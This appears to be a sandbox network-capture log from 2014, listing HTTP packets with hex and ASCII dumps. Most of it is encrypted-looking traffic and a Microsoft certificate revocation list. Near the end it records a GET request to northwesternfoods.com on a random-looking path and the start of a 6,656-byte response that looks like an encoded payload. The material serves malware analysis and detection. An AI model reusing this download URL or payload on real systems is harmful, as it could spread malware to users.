Feb 27, 2014 17:54:29.652774096 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 9c 7a 19 ec b8 ca fc e8 2d dc 03 7e 1c a0 ea db 5f 59 9f 3e ba 2f dd 5f 17 ef d7 75 7f f1 c7 3f 2d f3 1f 94 a3 63 2c 25 1f ad 0b b8 0a 84 af 08 84 2f 59 92 8e e5 47 f2 02 48 8a 8d 98 15 2c 3a 7f de 3d c3 1f ff 88 cc 7f 4a 8e 8e b2 24 ec 66 c4 12 Data Ascii: z-~_Y>/_u?-c,%/YGH,:=J$f2VO)`4i;~3R^jYF2mpUB_Z(BT/gYX(D6Lrw \|Lez!\%Vi>\|u8`[lH03488cPF6]?BzJ?DRh	267
Feb 27, 2014 17:54:29.749104023 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 0d 40 05 44 74 60 fc 42 a2 1a ff 83 d5 4d 47 73 90 e4 1f 10 77 d4 e7 ad 9b 50 c1 6d c1 74 34 f0 bc f4 59 58 02 29 27 78 1d 7d a8 3e b1 3d 15 4c 6c a1 ae c2 0d f4 fc 66 cc 41 1b 27 b6 77 da 96 65 77 06 fb df d4 9e ae 5e 48 f3 28 f2 0b 7d 40 79 97 Data Ascii: @Dt`BMGswPmt4YX)'x}>=LlfA'wew^H(}@yXuwJc'eMkKVZU[AC3Plw3@_/f G+/sX<&Zy}$Vwz<?UjFzqPqPpp";N:B@TD	269
Feb 27, 2014 17:54:29.749113083 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: e7 a6 92 1c 3e ae bf 75 29 b7 6b 58 ee 7c 6e b2 38 7d f8 04 be 00 4f 17 b3 85 dc 54 d3 96 bf dd f4 99 33 c7 0a 13 67 cf 24 7f 05 c5 63 e7 26 8b e9 89 c9 dc d4 ce cd 48 77 4e 16 73 53 69 6a f0 f3 39 8d e8 dc 9d 7b f8 c4 e3 8f 35 6c 4a ed fd 1c 9a Data Ascii: >u)kX\|n8}OT3g$c&HwNsSij9{5lJ8kLN7\|gX/{~8Vijml/bMk$Mhx7tJ56+einw"7{wtJe8*pHQ%)W2jQAf%+]%RN%m.%w	270
Feb 27, 2014 17:54:29.749118090 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 25 22 f0 2f 42 a0 e5 31 16 b2 0e d1 a0 6f d4 43 87 7d 72 2d ee e5 16 97 63 1a a4 be 09 26 13 da d7 18 6d 50 42 f3 87 e2 0f ad ff 9a 05 8c 92 ce f3 13 fa ab 83 f1 0e 4a 9c a3 44 5c c5 03 4d 51 bd 9c a0 9f 2a 59 cf 2e 4a d9 45 39 bb e8 86 6a b3 15 Data Ascii: %"/B1oC}r-c&mPBJD\MQY.JE9jB^m$oJ;(xs\|2Az,U6G2!6 \Qj)vN=%D]HS+"\&d;.(+aj-"a6-i>T"'1g$	272
Feb 27, 2014 17:54:29.749177933 MEZ	80	1049	207.46.206.30	192.168.0.18	HTTP/1.1 200 OK Content-Type: application/pkix-crl Accept-Ranges: bytes ETag: "b85a59404533cf1:0" Server: Microsoft-IIS/8.0 VTag: 791313942000000000 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-Powered-By: ASP.NET Content-Length: 41797 Cache-Control: max-age=3799 Age: 2288 Date: Thu, 27 Feb 2014 16:54:46 GMT Last-Modified: Wed, 26 Feb 2014 22:51:14 GMT Expires: Thu, 27 Feb 2014 18:05:01 GMT Connection: keep-alive Data Raw: 30 82 a3 41 30 82 a2 29 02 01 01 30 0d 06 09 2a 86 48 86 f7 0d 01 01 05 05 00 30 81 80 31 13 30 11 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 03 63 6f 6d 31 19 30 17 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 09 6d 69 63 72 6f 73 6f 66 74 31 14 30 12 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 04 63 6f 72 70 31 17 30 15 06 0a 09 92 26 89 93 f2 2c 64 01 19 16 07 72 65 64 6d 6f 6e 64 31 1f 30 1d 06 03 55 04 03 13 16 4d 53 49 54 20 4d 61 63 68 69 6e 65 20 41 75 74 68 20 43 41 20 32 17 0d 31 34 30 32 32 36 32 32 34 31 30 36 5a 17 0d 31 34 30 33 30 36 32 33 30 31 30 36 5a 30 82 a1 0e 30 29 02 0a 4f 42 fe 00 00 01 00 00 37 ee 17 0d 31 33 30 36 30 35 31 32 34 33 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 4b 1a 19 37 00 01 00 00 37 8c 17 0d 31 33 30 36 30 35 31 32 34 33 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 4b 1a 15 22 00 01 00 00 37 8b 17 0d 31 33 30 36 30 35 31 32 34 33 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 3c 46 6d eb 00 01 00 00 09 01 17 0d 31 33 30 36 30 35 31 32 34 33 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 67 0c 62 98 00 01 00 00 77 a3 17 0d 31 33 30 36 30 35 31 31 35 38 30 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 62 28 31 71 00 01 00 00 77 03 17 0d 31 33 30 36 30 34 31 37 35 39 33 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 62 27 ef df 00 01 00 00 77 02 17 0d 31 33 30 36 30 34 31 37 35 39 33 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 Data Ascii: 0A0)0*H010&,dcom10&,dmicrosoft10&,dcorp10&,dredmond10UMSIT Machine Auth CA 2140226224106Z140306230106Z00)OB7130605124356Z00U0)K77130605124356Z00U0)K"7130605124356Z00U0)<Fm130605124356Z00U0)gbw130605115807Z00U0)b(1qw130604175935Z00U0)b'w130604175935Z00U	273
Feb 27, 2014 17:54:29.749212980 MEZ	80	1048	23.239.12.68	192.168.0.18	Data Raw: 16 a9 e1 ef 7a a9 d3 ab f4 6a 4a 49 69 13 19 d1 a4 41 32 35 fc 4a 68 0b 28 a6 41 56 6a f8 a7 89 2d 20 4f 83 ec d4 f0 3f c9 2d a0 b8 06 39 a9 e1 e7 9c 2d a0 84 06 99 a9 e1 1f 6e cd ab 19 a0 86 61 95 1a 3e bf 05 d2 a2 13 85 53 c3 7e d7 16 50 ab 06 Data Ascii: zjJIiA25Jh(AVj- O?-9-na>S~PERemiP(5-vWP_eKHIO&1LI	273
Feb 27, 2014 17:54:29.862445116 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0a 01 03 30 29 02 0a 62 87 9e 29 00 01 00 00 77 08 17 0d 31 33 30 36 30 34 31 32 30 34 34 38 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 5e 2a 50 80 00 01 00 00 76 47 17 0d 31 33 30 36 30 34 31 32 30 34 34 38 5a 30 0c 30 0a 06 03 55 Data Ascii: 0)b)w130604120448Z00U0)^*PvG130604120448Z00U0)?{130604071731Z00U0)DZtx130603123318Z00U0)DZtw130603123317Z00U0)/h130531113	273
Feb 27, 2014 17:54:29.990025043 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 38 34 38 30 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 57 a2 f0 16 00 01 00 00 2c 19 17 0d 31 33 30 35 33 30 30 38 34 38 30 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 3d a6 a2 3c 00 01 00 00 73 9d 17 0d 31 33 Data Ascii: 084807Z00U0)W,130530084806Z00U0)=<s130530025945Z00U0)[130529020657Z00U0)S9130528174826Z00U0)S.d130528174826Z00U0)s	275
Feb 27, 2014 17:54:29.990042925 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 32 32 31 33 30 38 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 20 08 45 af 00 01 00 00 1e d7 17 0d 31 33 30 35 32 32 31 33 30 38 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 20 08 33 e4 00 01 00 00 1e d6 17 0d Data Ascii: 22130856Z00U0) E130522130856Z00U0) 3130522130856Z00U0) <=130522130856Z00U0) -o130522130856Z00U0) "W130522130856Z00U0)3	276
Feb 27, 2014 17:54:29.990047932 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 35 32 30 31 31 35 30 35 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 15 b9 d9 70 00 01 00 00 70 ee 17 0d 31 33 30 35 32 30 31 31 30 38 30 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 16 7a b9 c3 00 01 00 00 66 51 Data Ascii: 0520115050Z00U0)pp130520110806Z00U0)zfQ130520094526Z00U0)e130520094526Z00U0)e130520094526Z00U0) Kp130520094519Z00U0)	278
Feb 27, 2014 17:54:29.990187883 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 01 00 00 0f c2 17 0d 31 33 30 37 32 31 30 34 35 32 35 39 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 19 0c 79 1c 00 01 00 00 41 49 17 0d 31 33 30 37 31 39 31 33 34 37 34 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 14 Data Ascii: 130721045259Z00U0)yAI130719134745Z00U0) P>J130719134744Z00U0) Hm>I130719134744Z00U0)nAJ130719134743Z00U0)>#130719134742Z0	278
Feb 27, 2014 17:54:29.990245104 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 45 d6 b3 49 00 01 00 00 88 4d 17 0d 31 33 30 37 31 39 31 32 32 39 32 39 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 40 00 a0 29 00 01 00 00 4d b0 17 0d 31 33 30 37 31 39 30 32 32 31 Data Ascii: 0U0)EIM130719122929Z00U0)@)M130719022110Z00U0)$xW130718154431Z00U0)$xW130718154428Z00U0)$w9W130718154428Z00U0)[sE	280
Feb 27, 2014 17:54:29.990251064 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 05 30 29 02 0a 1c 86 3b 34 00 01 00 00 84 e0 17 0d 31 33 30 37 31 32 30 39 34 36 35 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 21 60 00 fc 00 01 00 00 85 49 17 0d 31 33 30 37 31 31 31 35 31 33 31 38 5a 30 0c 30 0a 06 03 55 1d 15 Data Ascii: 0);4130712094655Z00U0)!`I130711151318Z00U0)m(130711045211Z00U0)N130710170349Z00U0)pe130710130403Z00U0)_Q#13071009495	281
Feb 27, 2014 17:54:29.990350962 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0a 01 03 30 29 02 0a 5a 0c 66 6b 00 01 00 00 81 8f 17 0d 31 33 30 36 32 37 31 35 33 35 31 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 5a 0c 5e 22 00 01 00 00 81 8c 17 0d 31 33 30 36 32 37 31 35 33 35 31 30 5a 30 0c 30 0a 06 03 55 Data Ascii: 0)Zfk130627153510Z00U0)Z^"130627153510Z00U0)Z^130627153510Z00U0)pW#uv130627144008Z00U0)]d130627094735Z00U0)U+~130627094	282
Feb 27, 2014 17:54:30.278809071 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 3e af ab f2 00 01 00 00 73 b9 17 0d 31 33 30 36 32 31 31 34 33 38 31 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 01 30 29 02 0a 7e 71 04 bb 00 01 00 00 79 20 17 0d 31 33 30 36 32 31 31 33 34 33 33 38 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 Data Ascii: >s130621143815Z00U0)~qy 130621134338Z00U0)~pay130621134338Z00U0)4U}130620102605Z00U0){130619235238Z00U0),gN}130619105149Z00	283
Feb 27, 2014 17:54:30.278829098 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 02 0a 29 bf 0e 7d 00 01 00 00 67 70 17 0d 31 33 30 36 31 32 31 32 34 32 35 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 29 be ea 3b 00 01 00 00 67 6e 17 0d 31 33 30 36 31 32 31 32 34 32 35 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a Data Ascii: )}gp130612124256Z00U0));gn130612124255Z00U0))0gq130612124253Z00U0))go130612124252Z00U0))gm130612124252Z00U0)S<)130611140457Z0	285
Feb 27, 2014 17:54:30.278831959 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 29 02 0a 69 39 10 4f 00 01 00 00 77 ec 17 0d 31 33 30 36 30 35 31 36 34 31 30 38 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 1f 4c e7 e2 00 01 00 00 15 80 17 0d 31 33 30 36 30 35 31 35 34 37 31 38 5a 30 0c 30 0a 06 03 55 1d 15 04 Data Ascii: 0)i9Ow130605164108Z00U0)L130605154718Z00U0)L130605154718Z00U0)R}9]130605124356Z00U0)hw130801095643Z00U0)130731095142	286
Feb 27, 2014 17:54:30.278970003 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 32 34 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 14 a3 0f 78 00 01 00 00 70 c0 17 0d 31 33 30 37 33 31 30 36 30 31 32 34 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 14 a3 08 28 00 01 00 00 70 bf 17 0d 31 33 30 37 33 31 Data Ascii: 24Z00U0)xp130731060124Z00U0)(p130731060124Z00U0)p130731060124Z00U0)p130731060123Z00U0)Jp130731060123Z00U0)G	288
Feb 27, 2014 17:54:30.278984070 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 31 31 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 3b 17 27 35 00 01 00 00 59 f5 17 0d 31 33 30 37 33 31 30 36 30 31 31 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 3b 17 1a 1b 00 01 00 00 59 f4 17 0d 31 33 30 37 Data Ascii: 0112Z00U0);'5Y130731060112Z00U0);Y130731060112Z00U0);Y130731060111Z00U0);DY130731060111Z00U0)YJO130731060111Z00U0)Y	289
Feb 27, 2014 17:54:30.279105902 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 36 30 31 30 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 76 d8 50 e1 00 01 00 00 47 de 17 0d 31 33 30 37 33 31 30 36 30 31 30 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 76 d8 48 78 00 01 00 00 47 dd 17 0d 31 33 Data Ascii: 060102Z00U0)vPG130731060102Z00U0)vHxG130731060102Z00U0)vBAG130731060101Z00U0)rGT130731060101Z00U0)q5[GG130731060101Z00U0)*g	290
Feb 27, 2014 17:54:30.567636967 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 2e 92 01 8a 00 01 00 00 15 fb 17 0d 31 33 30 37 33 30 31 34 31 35 30 31 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 2e 92 01 6b 00 01 00 00 15 fa 17 0d 31 33 30 37 33 30 31 Data Ascii: 2Z00U0).130730141501Z00U0).k130730141501Z00U0)l\r130730141501Z00U0)aHVC130730141500Z00U0)W130730101748Z00U0){	292
Feb 27, 2014 17:54:30.567646980 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 39 33 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 5b b6 51 11 00 01 00 00 89 73 17 0d 31 33 30 37 32 33 31 35 32 39 33 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 5b b6 44 e1 00 01 00 00 89 70 17 0d 31 33 30 37 32 Data Ascii: 935Z00U0)[Qs130723152935Z00U0)[Dp130723152935Z00U0)[@o130723152935Z00U0)[E}r130723152934Z00U0)[Dq130723152934Z00U0)[<Y	293
Feb 27, 2014 17:54:30.567660093 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 33 34 37 35 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 70 ed 35 09 00 01 00 00 52 46 17 0d 31 33 30 39 31 36 31 36 31 37 34 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 70 ed 2d b9 00 01 00 00 52 45 17 0d 31 33 30 Data Ascii: 34750Z00U0)p5RF130916161747Z00U0)p-RE130916161746Z00U0)H130913123026Z00U0)H130913123026Z00U0)H130913123025Z00U0)H%	295
Feb 27, 2014 17:54:30.567667007 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 04 b9 00 01 00 00 9f 2c 17 0d 31 33 30 39 30 35 32 30 35 33 31 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 40 b2 00 85 00 01 00 00 9f 2b 17 0d 31 33 30 39 30 35 32 30 35 33 31 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 Data Ascii: ,130905205317Z00U0)@+130905205317Z00U0)@*130905205317Z00U0)u&B130905195835Z00U0)7/130905112740Z00U0)&0130904130135Z00	296
Feb 27, 2014 17:54:30.567670107 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 12 bf 40 4a 00 01 00 00 30 9b 17 0d 31 33 30 39 30 34 31 33 30 31 32 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 12 bf 3f 41 00 01 00 00 30 9c 17 0d 31 33 30 39 30 34 31 33 30 31 32 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 Data Ascii: @J0130904130127Z00U0)?A0130904130126Z00U0)40130904130126Z00U0)*0130904130126Z00U0)!0130904130126Z00U0)#0130904130125Z00	298
Feb 27, 2014 17:54:30.567852974 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 02 0a 12 be 8e e7 00 01 00 00 30 7a 17 0d 31 33 30 39 30 34 31 33 30 31 31 38 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 12 be 8a b2 00 01 00 00 30 79 17 0d 31 33 30 39 30 34 31 33 30 31 31 38 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a Data Ascii: 0z130904130118Z00U0)0y130904130118Z00U0)0x130904130118Z00U0);130904103525Z00U0)7130903153245Z00U0)7130903153244Z0	299
Feb 27, 2014 17:54:30.615631104 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 73 07 dd ec 00 01 00 00 62 8f 17 0d 31 33 30 38 33 30 30 31 30 35 31 34 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 67 14 26 14 00 01 00 00 26 3f 17 0d 31 33 30 38 32 39 30 34 35 38 31 35 5a 30 Data Ascii: U0)sb130830010514Z00U0)g&&?130829045815Z00U0)av130829044545Z00U0)&130828101156Z00U0)&130828101155Z00U0)#>130	300
Feb 27, 2014 17:54:30.615638018 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 6f 12 43 80 00 01 00 00 8b fd 17 0d 31 33 30 38 30 31 31 30 31 34 32 34 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 12 fd 63 a9 00 01 00 00 84 42 17 0d 31 33 30 38 30 31 31 30 31 34 32 34 Data Ascii: U0)oC130801101424Z00U0)cB130801101424Z00U0)`OA130801101424Z00U0)!`kJ131216095641Z00U0)!`TL131216095640Z00U0)\&Oz1	302
Feb 27, 2014 17:54:30.615641117 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 18 3e 51 59 00 01 00 00 b2 46 17 0d 31 33 31 32 30 33 31 34 32 39 32 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 6b 43 47 35 00 01 00 00 a1 17 17 0d 31 33 31 32 30 33 31 33 35 32 Data Ascii: 0U0)>QYF131203142922Z00U0)kCG5131203135231Z00U0)<y%131203121400Z00U0)#131202083715Z00U0)jw131202083715Z00U0)	303
Feb 27, 2014 17:54:30.796622038 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 31 31 35 31 34 32 39 35 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 1f 28 fc 68 00 01 00 00 af a1 17 0d 31 33 31 31 31 34 31 36 30 34 35 30 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 15 32 1a cc 00 01 00 00 af 0b 17 Data Ascii: 115142952Z00U0)(h131114160450Z00U0)2131114153335Z00U0):131114140054Z00U0):1311141	303
Feb 27, 2014 17:54:30.893091917 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 34 30 30 35 34 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 13 b0 44 ef 00 01 00 00 ae da 17 0d 31 33 31 31 31 34 31 32 34 39 32 33 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 11 44 e8 52 00 01 00 00 ae bb 17 0d 31 33 31 Data Ascii: 40054Z00U0)D131114124923Z00U0)DR131114115520Z00U0)p131114103554Z00U0)KQ/Q131113123807Z00U0)a#131113090435Z00U0)f]	305
Feb 27, 2014 17:54:30.893100023 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 31 32 31 32 37 33 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 42 67 1f d1 00 01 00 00 a4 75 17 0d 31 33 31 30 33 31 32 31 32 37 33 37 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 42 67 1c c5 00 01 00 00 a4 74 17 0d 31 Data Ascii: 1212737Z00U0)Bgu131031212737Z00U0)Bgt131031212737Z00U0)Bgs131031212737Z00U0)Bgmq131031212737Z00U0)BgNr131031212736Z00U0)Bf	306
Feb 27, 2014 17:54:30.893114090 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 31 30 31 34 30 31 34 39 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 79 fc 76 b9 00 01 00 00 48 3a 17 0d 31 33 31 30 31 30 31 34 30 31 34 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 72 13 9c d8 00 01 00 00 a7 08 17 Data Ascii: 010140149Z00U0)yvH:131010140146Z00U0)r131010093608Z00U0)re131010093608Z00U0)vg131009203828Z00U0)Ja131009203828Z00U0)	308
Feb 27, 2014 17:54:30.893116951 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 33 31 30 30 32 31 38 35 31 32 33 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 2f f2 da ff 00 01 00 00 68 02 17 0d 31 33 31 30 30 32 31 38 35 31 32 33 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 29 2a c8 58 00 01 00 00 41 Data Ascii: 31002185123Z00U0)/h131002185123Z00U0))*XA131002185123Z00U0)?8If131002180329Z00U0)?)f131002180329Z00U0)?f131002180329Z00U0)	309
Feb 27, 2014 17:54:30.893368006 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0d 31 34 30 32 31 38 30 36 35 32 32 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 20 a9 ee 9d 00 01 00 00 be 1c 17 0d 31 34 30 32 31 37 30 32 30 38 35 31 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 01 30 29 02 0a 17 c8 d0 ff 00 01 00 Data Ascii: 140218065225Z00U0) 140217020851Z00U0)p140	309
Feb 27, 2014 17:54:31.293776989 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 32 31 34 31 38 31 33 30 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 34 7b 2f 0f 00 01 00 00 c6 53 17 0d 31 34 30 32 31 34 31 38 30 39 30 39 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 3d 33 f0 87 00 01 00 00 bf 52 17 Data Ascii: 214181305Z00U0)4{/S140214180909Z00U0)=3R140213141121Z00U0)8$U140213141120Z00U0)a?z140213141120Z00U0)`zLP140213141120Z00U0)	311
Feb 27, 2014 17:54:31.293797016 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 34 30 32 30 37 31 36 33 35 34 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 60 1c d6 f6 00 01 00 00 c1 10 17 0d 31 34 30 32 30 37 31 31 31 37 35 38 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 41 ae 22 38 00 01 00 00 b4 Data Ascii: 40207163545Z00U0)`140207111758Z00U0)A"8140207105908Z00U0)A_140207105908Z00U0)140206140058Z00U0)kd140206132942Z00U0)	312
Feb 27, 2014 17:54:31.293801069 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 0d 31 34 30 31 32 31 31 37 35 37 33 39 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 4a 05 40 32 00 01 00 00 37 57 17 0d 31 34 30 31 32 30 31 37 30 36 30 33 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 05 30 29 02 0a 58 f5 22 82 00 01 00 Data Ascii: 140121175739Z00U0)J@27W140120170603Z00U0)X",)140120170603Z00U0)%7 140120170603Z00U0)$@MP140120124948Z00U0)140120104918Z00U	313
Feb 27, 2014 17:54:31.341873884 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 31 30 34 39 31 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 44 32 d9 ff 00 01 00 00 09 ae 17 0d 31 34 30 31 32 30 30 39 34 34 34 35 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 03 30 29 02 0a 44 26 3a b4 00 01 00 00 09 ac 17 0d 31 34 Data Ascii: 104916Z00U0)D2140120094445Z00U0)D&:140120094445Z00U0) #4140117080045Z00U0) '140117080044Z00U0)I'140116183553Z00U0))	314
Feb 27, 2014 17:54:31.341890097 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 30 37 30 39 32 32 34 36 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 6a 80 8e 4a 00 01 00 00 b9 7e 17 0d 31 34 30 31 30 37 30 35 34 37 30 32 5a 30 0c 30 0a 06 03 55 1d 15 04 03 0a 01 04 30 29 02 0a 6a 65 b0 e7 00 01 00 00 b9 7d 17 0d Data Ascii: 07092246Z00U0)jJ~140107054702Z00U0)je}140107054701Z00U0)jy140107054701Z00U0)j{140107003123Z00U0)Di140106122933Z00U0)k	316
Feb 27, 2014 17:54:31.341995955 MEZ	80	1049	207.46.206.30	192.168.0.18	Data Raw: 59 82 a6 7a 96 85 0d 52 04 e3 af dd f4 3d 56 34 27 96 6d d9 21 ec 4c b0 8b ed b9 b1 ff 72 14 ba 05 c1 e3 bb 72 57 7e e9 fa ee dd 89 a5 9c 02 a0 0b 64 e3 9f 08 d1 97 ba d8 01 bb de 06 68 95 24 e7 c2 8e 83 6f df 26 b6 b6 bf 41 e6 68 53 2b 4a 05 62 Data Ascii: YzR=V4'm!LrrW~dh$o&AhS+Jbk;M'BU6S	316
Feb 27, 2014 17:54:32.370922089 MEZ	1046	80	192.168.0.18	23.239.12.68	GET /813lux6EySHP4W-81m0YHZ_jdBIt1bV-D34r7SdtCQqckA-e HTTP/1.1 Host: northwesternfoods.com Cache-Control: no-cache	318
Feb 27, 2014 17:54:32.982678890 MEZ	80	1046	23.239.12.68	192.168.0.18	HTTP/1.1 200 OK Server: nginx/0.7.67 Date: Thu, 27 Feb 2014 16:54:32 GMT Content-Type: application/octet-stream Connection: keep-alive Content-Length: 6656 Cache-Control: no-cache, must-revalidate, max-age=1 Expires: Sat, 26 Jul 1997 05:00:00 GMT Last-Modified: Sat, 26 Jul 2040 05:00:00 GMT Pragma: no-cache Data Raw: 2c 3e f2 32 30 34 6e 68 65 64 62 32 cc cb 6e 68 d9 64 62 32 33 34 6e 68 21 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 33 34 6e 68 61 64 62 32 d3 34 6e 68 6f 7b d8 3c 33 80 67 a5 40 dc 63 7e fe 15 3a 00 08 17 42 42 41 5b 09 1a 00 09 42 51 52 5a 00 07 15 44 00 57 13 46 1b 06 41 0d 0c 12 77 7b 3d 48 0c 0b 06 57 1d 39 63 62 45 64 62 32 33 34 6e 68 81 